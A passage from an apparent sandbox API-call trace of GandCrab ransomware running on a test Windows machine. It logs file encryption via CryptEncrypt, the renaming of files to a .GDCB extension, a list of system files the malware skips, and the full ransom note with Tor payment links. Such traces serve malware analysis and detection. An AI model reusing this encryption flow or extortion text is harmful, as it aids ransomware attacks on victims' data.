v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x58fc60) returned 1 [0053.850] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x5b86f0) returned 1 [0053.850] CryptGetKeyParam (in: hKey=0x5b86f0, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0053.850] CryptEncrypt (in: hKey=0x5b86f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0053.851] GetLastError () returned 0x0 [0053.851] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0053.851] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\document building blocks\\1033\\16\\built-in building blocks.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0053.851] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0053.851] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0053.851] ReadFile (in: hFile=0x504, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e828, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285e828*=0x100000, lpOverlapped=0x0) returned 1 [0053.864] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0053.872] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x2ab0000 [0053.884] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.887] SetFilePointer (in: hFile=0x504, lDistanceToMove=-1048576, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0053.887] WriteFile (in: hFile=0x504, lpBuffer=0x2ab0000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2ab0000*, lpNumberOfBytesWritten=0x285e820*=0x100000, lpOverlapped=0x0) returned 1 [0053.889] VirtualFree (lpAddress=0x2ab0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.892] ReadFile (in: hFile=0x504, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e828, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285e828*=0x100000, lpOverlapped=0x0) returned 1 [0053.903] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0053.910] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x2ab0000 [0053.927] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.931] SetFilePointer (in: hFile=0x504, lDistanceToMove=-1048576, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x100000 [0053.931] WriteFile (in: hFile=0x504, lpBuffer=0x2ab0000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2ab0000*, lpNumberOfBytesWritten=0x285e820*=0x100000, lpOverlapped=0x0) returned 1 [0053.932] VirtualFree (lpAddress=0x2ab0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.936] ReadFile (in: hFile=0x504, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e828, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285e828*=0x100000, lpOverlapped=0x0) returned 1 [0053.945] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0053.952] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x2ab0000 [0053.965] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.968] SetFilePointer (in: hFile=0x504, lDistanceToMove=-1048576, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x200000 [0053.968] WriteFile (in: hFile=0x504, lpBuffer=0x2ab0000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2ab0000*, lpNumberOfBytesWritten=0x285e820*=0x100000, lpOverlapped=0x0) returned 1 [0053.970] VirtualFree (lpAddress=0x2ab0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.973] ReadFile (in: hFile=0x504, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e828, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285e828*=0x88cc7, lpOverlapped=0x0) returned 1 [0053.978] VirtualAlloc (lpAddress=0x0, dwSize=0x88cd0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0053.982] VirtualAlloc (lpAddress=0x0, dwSize=0x88cd0, flAllocationType=0x3000, flProtect=0x4) returned 0x2a40000 [0053.988] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.990] SetFilePointer (in: hFile=0x504, lDistanceToMove=-560327, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x300000 [0053.990] WriteFile (in: hFile=0x504, lpBuffer=0x2a40000*, nNumberOfBytesToWrite=0x88cd0, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesWritten=0x285e820*=0x88cd0, lpOverlapped=0x0) returned 1 [0053.991] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.993] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.996] WriteFile (in: hFile=0x504, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0053.996] WriteFile (in: hFile=0x504, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0053.996] WriteFile (in: hFile=0x504, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285e820*=0x10, lpOverlapped=0x0) returned 1 [0053.996] CloseHandle (hObject=0x504) returned 1 [0054.047] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.047] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.048] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.048] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\document building blocks\\1033\\16\\built-in building blocks.dotx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\document building blocks\\1033\\16\\built-in building blocks.dotx.gdcb")) returned 1 [0054.048] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.049] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.049] FindNextFileW (in: hFindFile=0x5b8c70, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0054.049] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.049] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.049] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\GDCB-DECRYPT.txt" [0054.049] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.049] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\GDCB-DECRYPT.txt") returned 97 [0054.049] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\GDCB-DECRYPT.txt") returned 97 [0054.049] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\GDCB-DECRYPT.txt") returned 97 [0054.049] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\GDCB-DECRYPT.txt") returned 97 [0054.049] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.049] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.049] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.049] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.049] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.049] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.049] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.049] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.049] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.049] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.049] FindNextFileW (in: hFindFile=0x5b8c70, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0 [0054.049] FindClose (in: hFindFile=0x5b8c70 | out: hFindFile=0x5b8c70) returned 1 [0054.049] FindNextFileW (in: hFindFile=0x5b8c30, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.049] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.049] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.049] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\GDCB-DECRYPT.txt" [0054.049] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.050] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\GDCB-DECRYPT.txt") returned 94 [0054.050] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\GDCB-DECRYPT.txt") returned 94 [0054.050] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\GDCB-DECRYPT.txt") returned 94 [0054.050] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\GDCB-DECRYPT.txt") returned 94 [0054.050] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.050] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.050] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.050] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.050] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.050] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.050] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.050] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.050] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.050] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.050] FindNextFileW (in: hFindFile=0x5b8c30, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0 [0054.050] FindClose (in: hFindFile=0x5b8c30 | out: hFindFile=0x5b8c30) returned 1 [0054.050] FindNextFileW (in: hFindFile=0x5892e0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.050] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.050] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.050] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\GDCB-DECRYPT.txt" [0054.050] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.050] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\GDCB-DECRYPT.txt") returned 89 [0054.050] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\GDCB-DECRYPT.txt") returned 89 [0054.050] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\GDCB-DECRYPT.txt") returned 89 [0054.050] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\GDCB-DECRYPT.txt") returned 89 [0054.050] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.050] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.050] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.051] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.051] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.051] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.051] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.051] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.051] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.051] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.051] FindNextFileW (in: hFindFile=0x5892e0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0 [0054.051] FindClose (in: hFindFile=0x5892e0 | out: hFindFile=0x5892e0) returned 1 [0054.051] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0054.051] lstrcmpW (lpString1="Excel", lpString2=".") returned 1 [0054.051] lstrcmpW (lpString1="Excel", lpString2="..") returned 1 [0054.051] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Excel" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel" [0054.051] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\" [0054.051] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.051] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.051] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.051] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.051] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.051] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.051] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\") returned 54 [0054.051] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\*" [0054.051] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x5b86b0 [0054.051] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.052] FindNextFileW (in: hFindFile=0x5b86b0, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0054.052] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.052] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.052] FindNextFileW (in: hFindFile=0x5b86b0, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0054.052] lstrcmpW (lpString1="XLSTART", lpString2=".") returned 1 [0054.052] lstrcmpW (lpString1="XLSTART", lpString2="..") returned 1 [0054.052] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\", lpString2="XLSTART" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART" [0054.052] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART") returned 61 [0054.052] FindNextFileW (in: hFindFile=0x5b86b0, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0054.052] FindClose (in: hFindFile=0x5b86b0 | out: hFindFile=0x5b86b0) returned 1 [0054.052] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.052] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\\\GDCB-DECRYPT.txt") returned 71 [0054.052] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\excel\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f8 [0054.052] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.052] WriteFile (in: hFile=0x4f8, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285ed74, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285ed74*=0xad6, lpOverlapped=0x0) returned 1 [0054.053] CloseHandle (hObject=0x4f8) returned 1 [0054.053] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.053] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\") returned 54 [0054.053] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\*" [0054.053] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x5b85b0 [0054.053] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.053] FindNextFileW (in: hFindFile=0x5b85b0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.053] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.053] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.053] FindNextFileW (in: hFindFile=0x5b85b0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.053] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.053] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.053] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\GDCB-DECRYPT.txt" [0054.053] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.054] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\GDCB-DECRYPT.txt") returned 70 [0054.054] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\GDCB-DECRYPT.txt") returned 70 [0054.054] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\GDCB-DECRYPT.txt") returned 70 [0054.054] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\GDCB-DECRYPT.txt") returned 70 [0054.054] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.054] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.054] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.054] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.054] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.054] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.054] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.054] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.054] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.054] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.054] FindNextFileW (in: hFindFile=0x5b85b0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.054] lstrcmpW (lpString1="XLSTART", lpString2=".") returned 1 [0054.054] lstrcmpW (lpString1="XLSTART", lpString2="..") returned 1 [0054.054] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\", lpString2="XLSTART" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART" [0054.054] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\" [0054.054] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.054] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.054] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.054] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.054] SHGetSpecialFolderPathW (in: 